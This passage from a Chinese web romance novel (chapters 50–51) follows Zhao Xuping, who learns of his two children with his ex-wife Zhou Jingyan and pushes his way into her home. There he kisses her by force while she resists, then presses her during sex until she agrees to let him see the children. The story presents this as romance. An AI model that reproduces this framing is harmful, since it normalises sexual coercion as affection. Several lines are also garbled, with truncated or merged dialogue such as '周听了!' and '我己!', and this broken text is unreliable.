这么重要的时候,他竟然不在。 她为什么非得瞒着? 赵叙平又气又痛,深长而缓慢地呼吸。 桌上手机震了震。 江东铭:【干嘛问这个?不对劲,你不对劲】 赵叙平:【随便问问,别多想】 江东铭:【我还是觉着你有女人了,并且即将有孩子了……】 什么叫即将?分明是早已拥有。赵叙平想起闺女甜甜的声音,脸上立马浮现笑意。 没笑两秒钟,他又想起周云生怎么骂自己,瞬间切换苦瓜脸,愁容满面。 赵叙平:【爱信不信】 回完这一句,他放下手机,埋头专心工作。 下班后,赵叙平没直接去周静烟那儿,而是回了趟父母家,陪父母吃完晚饭,又陪母亲在园子里散步。 “今儿是怎么了,冷不丁变成个大孝子。”章芝纭笑着调侃他。 他摸摸后脑勺,有些不好意思:“难得孝顺一回,您还挤兑我。” 章芝纭:“我挺好奇,今儿怎么这么孝顺?” 赵叙平望着别处沉默一会儿,问:“周静烟跟您还有联系么?” 章芝纭愣了愣,点头:“逢年过节会互相祝福几句。” 赵叙平摸摸鼻子,语气似是不经意:“她过得怎么样?” 章芝纭:“没说,每次都是发消息客气一下。” 赵叙平清清嗓子:“咳——您就没问问?” 章芝纭拿眼瞥他:“你俩离婚这么久,我哪好意思问?多说一句都怕影响人心情!静烟懂礼数,过节表示一下关心,我这么大岁数了,不能不懂事儿。” 赵叙平左瞧瞧右看看:“那什么,找个机会问问呗。” 章芝纭上下打量起他,哼笑:“终于后悔了?” 他仰脸望天:“没,就是挺好奇。” 章芝纭挑高眉毛,点点头,满脸写着——你看老娘信不信。 赵叙平又说一句:“都这么些年了,没准儿她都放下了。” 章芝纭故意气他:“对呀,人家都放下了,还去打听什么啊?难不成这么些年,你还没放下?” 四两拨千斤,噎得赵叙平说不出话。 好半天,他叹了口气:“也不是放不下,主要是——” “主要是什么?” 主要是心疼她,也想孩子。赵叙平说不出口,低着头许久不作声。 见他不答,章芝纭摇头叹息,默默往回走。 他跟上母亲,快到门口时才问:“妈,您生我和伊伊那会儿,是不是特疼?” 章芝纭不知他为什么忽然问这个,抬手挥了挥,痛苦立马浮现在脸上:“别提了,生你那天疼了我十几个小时,生伊伊还算好的,打了无痛,没太受罪。” 他心里别扭一阵儿,终于决定抛开所谓的面子,轻轻抱住母亲。 “妈,对不起,以前我太不懂事儿,老气您。” 章芝纭在他怀里愣住,以为自己正做梦,狠狠掐他一下,疼得他惊呼。 “您掐我干嘛!” “我看看是不是在做梦。” “那您倒是掐自个儿啊!” “这话说得,老娘掐掐你怎么啦!又气我!” “得得得,对不住,要不要再掐一次?这回多大劲儿我都不出声。” “可以了,妈知道,不是在做梦,因为你还是一样嘴欠。” 母子俩看向对方,都笑出了声。 赵叙平抿着唇沉默片刻,低头没好意思看母亲,小声问:“假如,我是说假如,我跟周静烟复合,您是不是特开心?” 章芝纭先是微愣,随即瞪大眼睛,喜上眉梢,声音里全是笑:“你跟静烟又好上了?” 赵叙平不禁脸烫,摇头:“没呢。” 章芝纭盯着他追问:“那你心里有这个想法?” 自然是有的,可他放不下面子承认,默默走进侧门,听见母亲在后面撵着问:“是不是啊?你要还想跟人好,就主动点儿!没事儿多给人发发消息!顺便替我问问她在南方过得怎么样!” 赵叙平忍着没告诉母亲,周静烟这几年压根没去南方,就在老城区待着。 他怕母亲知道这事儿太激动,又怕自己一时半会儿追不回周静烟,害得母亲白激动。 现在追不回,不代表永远追不回。他有的是耐力和手段,让周静烟重回自己户口本儿上。 一天办不成,那就搭上一辈子。 赵叙平离开父母家,又去往周静烟那儿。 尽管昨晚碰一鼻子灰,被儿子骂得狗血淋头,他还是要赶去兑现给女儿的承诺。答应过每天陪她,再忙再累也得做到。 想想那些错过她成长的时光,赵叙平心里就难受。 他坚信,昨晚女儿一定是睡着了,才会让周云生这小子有机会骂他,当时若是女儿在场,怎么也会管管这个无法无天的弟弟。 闺女疼他,这事儿不需问出口,他也知道。 晚上九点半,赵叙平再次出现在周静烟家门口。 屋里窗户和大门锁得严严实实,俩孩子的房间门也关了,只有周静烟卧室门开着,因为她压根没去睡觉。 今天儿子一反常态,睡了个大懒觉,很晚才起来。原本周静烟没当回事,可她发现儿子眼睛红红的,还有些肿,瞧着肯定昨晚哭过,问他他也不承认。 周静烟以前常哭,哪会不知道头天夜里哭了,隔天眼睛什么样。 她看着儿子红肿的眼眶,心酸鼻子也酸,温柔开口:“云生,你告诉妈妈,妈妈不会骂你的。” 周云生仍是不肯说。 倒不是怕被母亲骂。别人都说,他就一混不吝滚刀肉,天不怕地不怕,他觉着也是。再大的事儿都不怕,他还会怕被骂? 他只是觉着,那件让他哭的事儿,说出来很没面子。 总不能告诉妈妈,昨晚想爸爸想到哭吧? 都怪那个混子、小偷、死变态,非得提爸爸这茬,还说自己是他爸,脸皮可真厚。 他越沉默,周静烟就越担心,对着他唉声叹气,又是哄又是求,最后小心翼翼试探:“昨天说起爸爸,是不是让你难过了。” 周云生小脸拉拉得老长,小嘴噘得老高,大眼睛斜斜往上瞧,冷冷哼了一声,大叫:“谁难过了?我才不会因为他难过呢!” 周静烟见状,心想:那就是了。 她看着儿子默默叹息,过了会儿,将他抱入怀中,轻轻拍着他后背,安抚道:“没关系,想爸爸是件很正常的事儿。要是云生很久没见妈妈,也会想妈妈的。哭也很正常,哪个孩子没哭过?大人都会哭呢,何况小孩儿?” 周云生头摇成拨浪鼓,气呼呼说:“他不想我,我也不想他!别人问我他在哪,我就说他死了。” 周静烟赶紧捂住儿子嘴,蹙眉训道:“胡说什么呢!呸呸呸,不许再说这种话!” 周云生忽然哇地哭出声。 以往挨打被骂他都绝不当着母亲的面哭,这回竟在母亲面前嚎啕大哭。 周静烟有些难过,又有些开心——这孩子终于有个孩子样了。 想想看,他才三岁不到,虽然很快就三岁了,可就算满了三岁,也只是个幼童而已。 周静烟回想当初带安安那会儿,安安聪明又嘴甜,可至少还有点儿孩子样,不像周云生,这么点儿大,学大人装大人,小小年纪非要活成大人样。 她不希望她的孩子太早熟。然而这俩孩子,偏偏都极聪颖,说话利索,口条清晰,有时候在他俩身上看不到同龄人特有的那种童真,周静烟直犯愁。 她不住地给儿子擦泪,柔声哄着:“哭出来就好了。妈妈知道,你有很多委屈,心里其实很难过,可是你想当个大人,想保护妈妈和姐姐,这些妈妈都知道。可是妈妈没你想得那么可怜,妈妈很强大的。 “而且你知道么,妈妈有很多很多钱,这一点已经能让妈妈这辈子都没什么烦恼了!” 周云生两岁起,就知道自己最大的目标是赚钱。他要当大老板,给妈妈买大别墅,给姐姐买跑车,给自己开很多公司。 听到妈妈这话,周云生抽抽搭搭看着她,问:“你有多少钱啊?” 周静烟可不敢跟孩子说实话,伸出三个手指,挑了挑眉:“三十万呢!” 周云生破涕为笑:“才三十万呀!” 周静烟惊呆了:“‘才’——三十万?三十万已经很多了好吗?” 周云生耸耸肩:“我觉着少,以后我要赚三千万,三个亿,三十亿,三百亿!” 周静烟睁大眼睛瞧他一会儿,笑着问:“小屁孩儿,你知道亿有多大吗?” 周云生:“再说一遍——别叫我小屁孩儿!我马上三岁了!亿能有多大,不就是比千万多些么?” 周静烟:“你们幼儿园都开始教这个了?” 周云生:“我看抖音学的。” 平时周静烟要是忙着做事应付不了俩孩子,会让他们看会儿手机或者电视。 听到儿子这么说,她哭笑不得:别人家小孩看抖音是看着玩儿,她家小孩却是去抖音上正儿八经学知识。 周静烟亲亲儿子脸颊:“看来咱家云生还是挺好学的嘛。” 周云生抬起手背抹了抹泪,又自己拿了张纸擤鼻涕,一本正经告诉她:“当然啦,我可是要赚大钱的人。” 他趴在母亲耳边,小声说:“妈妈,昨晚我把那个混子吓跑了!” 周静烟一愣,倏地蹙眉:“混子?你把混子吓跑了?” 周云生骄傲地笑了笑,将昨晚发生的事,自己和那混子说过的话,全都告诉母亲。 “他说他叫赵叙平?”周静烟脸色煞白,颤着声跟儿子确认。 “嗯!”周云生重重点头,满脸不屑,“什么破名儿,真难听!” 第50章 第50章【VIP】 见母亲一脸惊恐,周云生抱住她,仰脸问:“妈妈,你怎么啦?” 周静烟木然摇了摇头,心脏紧缩,目光呆滞盯着地板。 周云生捏捏她的脸:“妈妈?妈妈!” 周静烟强忍着惊慌,深吸一口气,逼自己冷静下来,轻抚儿子脸庞,语重心长说道:“云生,你昨晚这么做,是很危险的。就算你再厉害,也只是个孩子,你还那么小,就算力气比同学们都大,也打不过一个成年人。以后再不许这样了,记住没有?” 周云生有些不服气,噘着嘴心不甘情不愿点了点头。 下午,周静烟趁儿子正专注拼积木,悄悄将女儿带进自己卧室,关上门,严肃看着女儿,问:“前天晚上,听雨在客厅门口跟外面的人说话,是不是?” 周听雨心虚,避开母亲目光,轻轻摇头。 周静烟生气又后怕,面色愈加凝重:“外头那个,是不是叫赵叙平?” 到底只是个孩子,周听雨立马愣住,仰起小脑袋,冲母亲眨了眨眼:“原来赵叔叔真是你朋友啊!” 一想到赵叔叔没骗她,赵叔叔是好人,她心里就高兴,忍不住笑起来。 见女儿干这么危险的事,不仅撒谎瞒着,这会儿还笑得出,周静烟气不打一出来,板起脸低吼:“周听雨,我教没教过你安全知识!教没教过你,大人不在身边,不许跟陌生人搭话!教没教过!” 周静烟头一次对女儿这么凶,女儿吓得皱着脸大哭,她心里又气又痛,胸口起起伏伏,流着泪拍一下女儿屁股。 儿子淘气,以前被她揍过,女儿以前很乖,没挨过揍,这回被打屁股,扯着嗓子哇哇直哭。 周静烟收着力打的那一下,孩子其实不怎么疼,只是被吓到,哭得停不下来。 过了一小会儿,孩子抽噎着扑进她怀里,仰起泪湿的小脸蛋,抽抽搭搭说:“妈妈……对不起……我再也……再也不撒谎了!也不会、不会跟陌生人乱搭话了!” 周静烟紧紧搂住孩子,忍不住哭出声。 孩子细瘦的胳膊圈住她脖子,等她松开怀抱,孩子亲亲她脸颊,奶声奶气哄道:“妈妈,别生气啦,我告诉你那个赵叔叔跟我说了什么。” 周听雨将前天晚上赵叙平说的话,一五一十讲给母亲听。 周静烟越听脸色越暗,听完陷入沉默。 “妈妈,你怎么不说话?是不是还在生我气?”周听雨泪汪汪的眼睛睁得老大,可怜巴巴望着她。 周静烟再是生气,瞧着女儿这副模样,情绪也平复许多。 她冲女儿摇摇头,勉强笑一下,温柔擦去女儿挂在脸上的泪珠。 “你跟妈妈说了实话,妈妈就不气了。” 周静烟内心被恐惧占据,心知赵叙平既然找上门来,还对孩子们说那些话,显然已经得知真相。 他想查什么事儿,简直轻而易举。 周静烟身子发虚,靠在床头缓着,听见女儿问:“妈妈,那个赵叔叔是不是坏人呀?” 周静烟麻木地摇摇头。 周听雨搞不懂:“赵叔叔不是坏人,为什么刚才你那么生气?” 周静烟不知该如何跟孩子解释,想了想,理清思绪,柔声开口:“不管赵叔叔是不是坏人,听雨的做法都不对。得亏赵叔叔不是坏人,他要真是坏人,你可就危险了……” 周听雨认真点点头,举起小手:“知道啦,以后我再也不这样了,我向妈妈保证!” 周静烟欣慰一笑,轻捏女儿脸颊:“听雨真棒。” 周听雨靠进她怀里,满脸好奇:“妈妈,赵叔叔说认识我爸爸,还说爸爸没有不要我们,是不是真的呀?” 周静烟抿着唇,半晌才作声:“是真的。” 周听雨:“那爸爸到底什么时候来看我们呀?我都等不及了!” 周静烟揪着心默默想:照他那性子,不出两天,就要来找她要孩子了。 她强装镇定,告诉孩子再等等,没多久就能见到爸爸。 周听雨满眼期待:“赵叔叔说,我的爸爸很高,很帅,他都嫉妒我爸爸呢!” 这话她之前说过,那会儿周静烟太生气,没怎么关注,现在又说一遍,周静烟听得发愣,微微蹙眉,有些难以置信:“他真这么说的?” 跟那人过了七年,以前可没见他这么自恋。 周,我听得很清楚!” 周静烟,其实他说得没错。” 周听了!爸爸真是大帅哥!我最喜欢帅哥!” 周静烟看着女儿,无奈摇头,你,真不知道说你什么好!” 周听雨赖在母亲怀里撒娇:“妈妈,今晚要是赵叔叔又来,咱们可以请他进屋坐坐吗?” 周静烟沉默。 周听雨晃晃身子:“不可以吗?他是你的朋友呀,而且也不是坏人,为什么不行?” 周静烟轻声叹了口气:“没说不行,只是……只是赵叔叔今晚未必会来。” 周听雨睁大眼睛盯着她:“那要是赵叔叔来了呢?” 周静烟:“来了就……就再说吧。” 周听雨叮嘱道:“要是赵叔叔来的时候我睡着了,你可一定要把我叫醒呀,我想看看赵叔叔长什么样!” 拿她没办法,周静烟只能答应下来,心想等她睡着了,可不能叫醒。 安静片刻,周听雨问:“妈妈,你觉得爸爸和赵叔叔谁帅?” 周静烟看着女儿,一脸无奈:“对赵叔叔这么感兴趣啊?” 周听雨嘿嘿笑道:“赵叔叔声音可好听了,说话还特温柔!要不是我已经有爸爸,还挺想认他做爸爸的。” 这孩子……周静烟哭笑不得。 “你爸爸和赵叔叔——”周静烟停下来,苦思冥想,憋出几个字,“差不多帅……” 周听雨:“那可太好了!要是爸爸对我们不好,我就不喜欢爸爸了,以后你跟赵叔叔结婚行么?” 周静烟:“……” 这话她没法接,只能默默看着女儿,一声接一声叹气。 周听雨见她很不情愿的样子,问:“妈妈不喜欢赵叔叔?” 孩子终究是孩子,哪里懂大人的事,周静烟跟女儿说不明白,摇了摇头:“确实不喜欢。” 周听雨恍然大悟:“我差点忘了,妈妈和爸爸是一对儿,妈妈只能喜欢爸爸,不能喜欢赵叔叔,对不对?” 周静烟敷衍点头。 小家伙八卦起来,大眼睛直勾勾盯着她:“妈妈是不是很喜欢很喜欢爸爸?” 周静烟继续敷衍:“嗯。” 小家伙蹦蹦跶跶跑开,被她叫住:“听雨,出去叫弟弟过来,妈妈有话跟你俩说。” 很快,姐弟俩来到周静烟跟前,老老实实并排站着。 周静烟再次批评一遍他俩的错误行为,得到他俩的保证,才稍稍放心。 入夜,两个孩子洗完澡,一起上床,周静烟关灯前,周云生忽然问:“妈妈,要是那个赵叙平今晚又来,你可得叫醒我,我帮你收拾他!” 周听雨气得坐起来,冲着上铺喊:“没礼貌!该叫赵叔叔!” 周云生不服:“我可不认识什么赵叔叔!” 周听雨:“赵叔叔是爸爸妈妈的朋友,你很快就能认识了!而且今晚赵叔叔很可能会来,到时候妈妈会叫醒我,我能看看赵叔叔长什么样!” 周云生:“什么啊,我看就是个骗人的混子!” 周听雨:“才不是才不是!” 周云生:“就是就是!” 周静烟脑仁儿都被吵疼了,捂着耳朵摇头:“行了行了!赶——紧——睡——觉!” 她啪地关灯,又关上门,拍着胸脯走向沙发。 周静烟忐忑不安坐在沙发上,一会儿看一下手机,总感觉时问过得太慢,半小时如半个世纪般漫长。 就这么坐了半小时,她坐不住了,起身在客厅里走来走去,焦灼得像热锅上的蚂蚁。 走累了坐,坐累了走,周静烟分分秒秒都活在煎熬中。 九点半,叩门声忽然响起,她惊得捂嘴,起身飞快走到儿童房门口,轻轻开门,小声唤了唤孩子们。 无人回应。 见孩子们都睡着了,她才又关上门,来到客厅大门前。 叩门声再次响起,随即,是男人低沉而温柔的声音:“听雨,听雨?” 周静烟心跳加速,深呼吸,闭了闭眼,按下门把。 “听雨,赵叔叔来陪你——” “聊天”两个字还没说出口,门忽然开了,赵叙平顿住,愣愣看着面前的女人。 周静烟朱唇紧抿,目光定在他脸上,胸口微微起伏。 她尽全力强装淡定,轻颤的身体却将紧张暴露无遗。 赵叙平也不怎么放松,愣了片刻,伸着脖子往屋里看,又别过脸去,清清嗓子,沉声开口:“那什么,过来看看孩子。” “孩子睡了。”周静烟面无表情说道。 赵叙平点头:“行,挺好,小孩儿就该早睡。” 他抬腿准备迈进来,周静烟赶紧挡住,语气慌张急促:“没别的事儿你就回去吧,我也要睡了,慢走不送。” 她想关门,赵叙平一手抵着门板,一手撑着门框,扬起下巴侧头瞧她,脸色淡漠,语气也是淡的:“有事儿。” 周静烟当然知道他想干嘛,面含愠怒瞪着他,冷冷开口:“有事儿以后再说,我要睡觉。” 她使出浑身力气关门,压根关不上,倒是让他轻而易举进来了。 赵叙平一进屋,立马将门关上。 周静烟急得跺脚,紧蹙着眉微微扬声:“赵叙平!” 他露出一个混不吝的笑,应道:“哎。” 周静烟气极,*打开门,抓着他胳膊往外拽,哪里拽得动。 她在这儿白费劲,给赵叙平逗乐了,扬唇笑了笑,还是那副痞子样,嘴上轻佻:“几年没见,这么想跟我拉拉扯扯?” 周静烟立马松手,指指他,又指指门,气得声音发颤:“赶紧滚,听见没有?” 赵叙平又关上门,后背靠着门板,歪着脑袋垮着肩,双手揣进西裤兜:“听不见。” 周静烟拿这无赖没招,气红了眼:“再不走我报警了!” 赵叙平哼笑:“报呗,跟警察说,不让孩子爹看孩子,让警察评评理,咱俩谁在理。” 周静烟脱口而出:“不是你孩子!” 赵叙平冷眼瞧她片刻,点点头:“行,赶明儿一早就去做亲子鉴定。” 周静烟怕得要命,明知自己说什么他都不会信,仍要垂死挣扎:“我不会让你带走孩子的!他俩是我的孩子,从我肚子里出来,跟你没有半点关系!” 赵叙平明明心疼她,却被这话气到,一时火大,冷冷轻哼一声,脸色暗得骇人:“你说了不算,我只认亲子鉴定报告。” 周静烟身子颤得厉害,眼泪不住往下淌,恨自己不争气,拿他没办法,除了哭还是哭。 她不知道,她一哭,他也拿她没办法。 赵叙平看着她泪流满面,慌忙抬手给她抹泪,她缩着脖子躲开,惧他如猛兽。 他默默放下手,心口发堵。 两个人就这么面对面僵持着,好一会儿,赵叙平轻声叹息,先服软:“别哭了,我错了。” 周静烟吸吸鼻子:“回去吧,我不想看到你。” 沉默片刻,赵叙平语气近乎哀求:“能让我看看孩子么?” “不行。” “我是孩子父亲,怎么就不能看?” 周静烟眼泪掉得更凶,声音也颤得厉害:“就不让你看!我的孩子,凭什么让你看!” 见她这样,赵叙平心疼坏了,一把将她搂入怀中,温柔哄起来:“刚才吓着了吧?我错了,真错了,我不是人,我——” 不等他说完,周静烟抬手往他胸膛一顿乱捶,边捶边哭,边哭边骂:“你还知道自己不是人!王八蛋!坏死了!你滚!赶紧滚!滚!滚出我的世界!再也不想看到你!” 赵叙平死活不撒手,抱着她往前两步,将她抵在门上,低头蹭蹭她的脸,红着眼哽咽:“我不是人,我王八蛋,我坏,可我不滚。周静烟——” 他将脸埋进她颈窝,深深吸气,嗅到那熟悉的淡香,不禁湿了眼眶。 “周静烟,我很想你。” 周静烟不住地摇头:“走开,不要跟我说这些,我不想听……” 他哪里肯,自顾自捧起她的脸,不由分说吻上去。 周静烟拼命挣扎,力气不敌他,压根推不开这人,被他死死抵在门板上亲个没完。 离婚后赵叙平再没找过别的女人,旷了这么些年,今晚一挨着,浑身就像点了火似的,燃起来压根灭不了。 起先周静烟还抗拒,又怕吵醒孩子,不敢弄出太大动静,挣扎一会儿,敌不过他,被吻得七荤八素,稀里糊涂就去了床上。 这些年周静烟没找过别人,今晚被他一勾,心想这人撵也撵不走,大不了当他是个工具,用一用解解渴,便半推半就由着他来。 半夜周静烟就后悔了,暗骂自己记吃不记打,忘了这人有多能折腾,一回回没完没了。孩子在隔壁房问,她不敢大声唤,咬着牙憋得难受,泪汪汪求这人,这人反反复复说想她,她问到底是想她还是想她身子,他说都想,她不满意,并拢不让他继续,他忽地抬起她下巴,盯着她眼睛说了句“爱你”。 这句“爱你”让周静烟愣住。她愣神的功夫,就并不拢了,被他掰着往里嵌。忽地来那么一下,她禁不住大声唤出来,又慌忙捂嘴,狠狠捶他:“别吵醒孩子!” 赵叙平趁机欺负人,将她掰得越发开,又来那么一下:“让不让我看孩子?” 周静烟含着泪摇头。 他发了狠:“让不让?” 周静烟受不住这般,到底点了点头。 妥协换来的是又疯又野的回应,她气得骂他畜生,他倒是笑了,说第一天知道我是畜生?她往他肩上咬,用尽全力,咬出深深的牙印,皮肤渗着血珠,他眉头都不皱一下,捏着她下巴,定定看着她。 “周静烟,你是我的,孩子也是我的。” 她气死了,拼命扭头别过脸,闭上眼:“孩子是你的,我不是。” 这话成功激怒赵叙平。 他冷笑一下:“你再走一次试试?” 纠缠到天亮。周静烟强撑着要下床,被他拦腰抱住。 “你睡吧,今天我来带孩子。”他“吃”饱了,唇角扬着下不去。 周静烟垂眸冷冷看着他:“撒开。” 他非但不撒手,反而搂得更紧。 “赵叙平,我让你撒开!”她又快被气哭,声音发抖。 赵叙平坐起来,将她拥进怀里,双臂紧紧箍住。 “乖乖,媳妇儿,小祖宗。” 薄唇在她颈侧游走。 她撇嘴挣扎一下,毫无作用,眨眼泪水便滚落:“谁是你媳妇儿?早就离了,别来纠缠我!” 这人腆着脸笑:“除了你,还能是谁?我媳妇儿给我生了俩孩子,一个丫头,一个小子。” 周静烟看着这张乐开花的俊脸,恨不得给他戳烂,抿唇瞪他片刻,冷声撵人:“赶紧回去,等会儿孩子醒了,别吓着他们。” 赵叙平摸摸脸颊:“我又不是怪物,怎么会吓着孩子?” 周静烟:“这么个大活人忽然出现在家里,还不够吓人?” 赵叙平乐了:“那我先出去,等会儿他俩醒了,你发消息告诉我,我假装过来做客。” 周静烟盯着他瞧半晌。 活这么些年,她就没见过有人比他脸皮还厚。 “赵叙平,”她看着他,忽然笑了,“就算咱俩睡了,又怎么着?不代表你还能掌控我的生活,不代表我还想跟你有什么关系。” 他愣了愣,沉着脸点头,心想:早晚都会有关系,今天暂且让着你。 “行,咱俩没关系,我和孩子总有关系吧?我得看看孩子,今天必须见着,见不着我就赖这儿不走。” 周静烟不可思议:“你这人脸皮怎么这么厚啊!” 赵叙平微微扬起剑眉,理所当然:“我答应过闺女,以后每天都会陪她。还有周云生那小子,我要再不出现,那小子真以为他爹死了。” 周静烟眉心紧蹙:“每天陪她?你每天都要过来?” 赵叙平摇摇头。 她刚松一口气,又听他说道:“我把你们娘仨接过去,这样咱们一家四口每天都能在一块儿。” 周静烟气笑了:“谁跟你一家四口!” 赵叙平也觉着自己脸皮太厚,忍不住乐:“那就一家三口,周云生不算。” “咱俩真是掰扯不清,赵叙平,你走不走?不走我走!”她死命掰开圈住自己那两只手,下床想跑,脚一挨地就差点摔了,胳膊撑着床,额头冒出细汗。 赵叙平赶忙起身将她抱回床上,按住不让再跑。 她怎么扑腾都没用,无助地望着天花板,默默流泪。 他求也求了,哄也哄了,她压根不拿正眼瞧他。 他实在没招,搂着她,自个儿也哭了。 “周静烟,我想你,特想。”赵叙平声音发颤,与她脸贴脸。 泪湿的两张脸庞紧紧贴着。 “你走以后,我心里就空了,干什么都没劲,什么都觉得没意思。 “头一年我老出去喝大酒,只有喝醉了,醉得一大糊涂,才能忘记你已经走了,才不会那么痛苦。 “周静烟,我错了,真的错了。我给你道歉,以前是我对不住你。 “你要多少钱我都给,人也给,心也给。我赵叙平哪哪都是你的。我什么都能给你,只要你带着孩子回来。 “周静烟,以后咱俩好好过,成么?都当爹妈了,孩子也快三岁了,咱们给孩子一个完整的家,成么?” 他说几句,停几秒,陆陆续续说完,抬头看着她,满眼通红。 周静烟许久不作声。 他性子急,抬起她的脸,催问:“成么?你给句话。成,你们仨今天就搬回去;不成,我就再努努力,总之,我不会放弃。” 四目相对,都红着眼流着泪。 不知过了多久,周静烟垂下眼眸,声音颤得厉害:“孩子是我为自己生的,不是为了你。你可以跟孩子相认,但我们不能搬过去。” 她顿了顿,深深吸气,抬眸看向他。 “赵叙平,咱俩回不去了。” 话音刚落,忽然响起急促的拍门声,周听雨在外头哭着喊:“妈妈!妈妈你快醒醒!弟弟要死了!弟弟要死了!” 50-60 第51章 第51章【VIP】 屋里俩人愣了愣,都准备下床,又同时顿住。 再是心急如焚,赵叙平也知道不能就这么从这间卧室走出去,否则该怎么跟女儿解释? 他看看床底,床底太矮,根本钻不进。箭步冲到窗户边,拉开窗帘,他对着外面护栏长长叹气。 这里虽然是一楼,可窗户都安了防盗网,翻窗这条路被堵死。 外头女儿还在哭,拍门也越发急促:“妈妈妈妈!你快来看看呀!弟弟流了好多血!” 周静烟冲赵叙平指指衣柜,赵叙平瞬间明白,拉开柜门往里钻。 柜子里东西多,他又是大高个,压根进不去,急得满头大汗。 周静烟又指指床,做了个拉被子盖头的动作,赵叙平飞快回到床上,捞起被子盖住全身,躺着一动不动。 周静烟不放心,又往他身旁堆了两个枕头才过去开门。 门外,女儿已经哭得满脸是泪,儿子站在一旁,鼻血不住地往下淌,嘴唇和下巴都沾了血,睡衣上也有血迹。 周静烟赶紧将儿子抱去厕所,洗洗鼻子,找了根平时自己扎头发用的一次性发圈,见他左边鼻孔流血,便用发圈缠住右手中指指根。 “云生别怕,小孩儿流鼻血很正常,一般不会有什么大问题,及时止血就好了。” 周云生冲母亲眨眨眼:“我不怕,姐姐真是大惊小怪。” 周静烟神情严肃,摇头:“不许这么说姐姐,姐姐还不是担心你。” 站在厕所门口的周听雨双手叉腰,气呼呼看着弟弟:“哼!担心你你还这么说我!以后谁管你!” 周静烟笑笑,劝道:“好啦,都别吵了。听雨看在云生流了这么多血的份儿上,原谅他一次好不好?” 周听雨抱着胳膊,嘴噘得老高,扭头往客厅走。 “你看你,又把姐姐惹生气。”周静烟仔细看看儿子鼻孔,见血止住了,放心下来。 “等会儿我给姐姐道歉。”周云生认识到自己的错误,生怕姐姐以后再也不理他。 他摸摸鼻子,开心笑道:“妈妈,真的不流血了!你好厉害呀!” 周静烟将他右手中指上的发圈摘下来,轻轻揉了揉:“手指是不是被勒得很难受?” 他摇头:“还好吧,妈妈,你怎么知道这样可以止住鼻血?” “前两天在网上看到的小妙招,没想到今天就用上了。”周静烟捧起儿子脸蛋,“云生,醒来有没有挖鼻孔?” “没挖,姐姐说挖鼻子鼻孔会变大,很难看,我就不挖了。” 周静烟忍俊不禁:“你还挺注意形象的嘛!” 周云生笑容几分羞涩,摸着后脑勺说:“我也不是只会打架。我都快三岁了,要有三岁小孩儿的样。” 周静烟乐出声,给他脱掉睡衣,擦擦脖子上的血迹,牵着他回儿童房找了件干净衣服换,又来到客厅,给他使了个眼色。 周云生冲母亲点头,走到姐姐跟前,认真说道:“姐姐,谢谢你这么关心我,刚才我不该说你大惊小怪,我给你道歉。” 周听雨正在看绘本,眼睛盯着书页,小嘴巴一噘,故意不看他,傲娇地点了点头。 周云生问:“那你原谅我了吗?” 周听雨总算扭头看向他,叹一口气:“好吧,这次就不跟你置气了。” 周静烟摸摸两个小家伙的头,目光挪到自己卧室紧闭的门上,强挤出微笑掩饰内心慌张。 “走吧,咱们一起进你俩房间看看是不是空气太干燥了,导致弟弟流鼻血。” 她牵着俩孩子走进儿童房,感受片刻,发现果然干燥。 儿童房里的空调制冷效果比她那边要好,同样的温度,这边体感要低些。 周静烟想起昨天儿子吃了不少零食,流鼻血大概是因为上火,外加空气太干。 她走到门口,不经意似的大咳一声,用力砰地关上门,又回到孩子们面前:“妈妈买个加湿器放在你俩房间。”说完,板起脸严肃看着周云生:“以后不许像昨天那样,吃太多零食了哦。” 周云生皱着小脸:“我就爱饼干薯片,还有辣条!” 周静烟:“没有不让你吃,只是得少吃,还得多吃蔬菜水果。” 周听雨立马举起小手:“妈妈妈妈,我就爱吃蔬菜水果,是不是很棒!” 周静烟竖起大拇指:“听雨很会爱自己哦,爱自己,就是聪明的表现,所以听雨真的很聪明呢。” 女儿手舞足蹈:“我己!我超级超级聪明!” 了。” 他阴阳怪气说完,转身往外跑。 周静烟吓得惊呼:“云生别动!” 周云生在门口停下脚步,扭头看着她。 她不知赵叙平走了没有,怕儿子撞见这人,赶忙走到门口,对儿子时候泼冷水,这样不对, 看着儿子回到女儿身边,臊眉耷眼又开始道歉,周静烟不禁微笑。 这样既教育了儿子,又安抚了女儿,还能支开儿子,自己。 周静烟开门往外看,那边卧室门开着,客厅也没人,明白赵叙平已经出去,长舒一口气,去上铺看了看,床上沾了些血迹,她给儿子收拾好床铺,换上干净床品,忙活完才去做早餐。 连着吃了几天小笼包,女儿说吃腻了,周静烟决定做拌面。 她将肉沫放进锅里,正炒着臊子,手机在卧室床头柜上响起来。 周听雨跑去房间看了看,冲着厨房喊:“妈妈!电话!” 抽油烟机运行声大,周静烟压根听不见。 手机响个不停,周听雨看着屏幕上那串号码,不知是谁打过来的,一边走向厨房,一边接通电话。 “俩孩子——” “你好,我妈妈正在做饭,请等一下。” 两边同时开口,听见周听雨的声音,那头顿住,等她说完,才含笑温柔问道:“妈妈在做早餐是吗?” 周听雨感觉这声音很熟悉,忽然想起来,高兴得蹦跶:“你是赵叔叔吗?” 那头笑意更浓:“是,听雨还记得我啊?” “那当然啦!赵叔叔的声音特好听,还特温柔。”周听雨小跑进厨房,来到母亲身旁,“妈妈,赵叔叔给你打电话啦!” 周静烟没听清,关掉抽油烟机,又关了火,低头看着女儿:“什么?” 周听雨高举手机,大喊:“赵叔叔找你!” 周静烟倏地蹙眉,心里一紧,赶忙接过手机,冲女儿挥挥手,撵人:“小孩儿不能进厨房,危险!” 周听雨嘟囔着往外走:“以前也没不让进呀,只说不让开火……” 等女儿离开厨房,周静烟才压低声音开口:“干嘛呢你!” 她气得要命,赵叙平倒是乐呵呵:“跟你说一声,我出去了。” 周静烟:“我知道!出去就出去,别给我打电话!” 赵叙平:“就打,拉黑我一个号,我换另一个继续打。” 周静烟骂他有病,他大方承认:“是啊,绝症,这个病可治不好,除非媳妇孩子跟我回家。” “治不好就去死!”周静烟骂完这句就把电话挂了。 那头,赵叙平愣愣盯着手机,眉头紧锁,心说胆子够大啊周静烟,转念一想,周静烟不再是从前那个周静烟。 他俩地位已经调换,今时今日,感情中站高位的人,是她。 赵叙平认清此刻自己的位置,立马端正态度,打电话过去想跟她好好道歉,发现自己这个号也被拉黑了。 他气得将手机扔副驾,沉着脸开车回公司。 秘书进办公室送完资料,正要走,被他叫住。 “上网买个好点儿的加湿器,地址填周静烟那。”赵叙平吩咐道。 “好的,赵总。” “对了,现在给周静烟打个电话。” “我吗?” “嗯。” “赵总,我需要跟周小姐转达什么?” “跟她说,加湿器我买了,让她别买。” 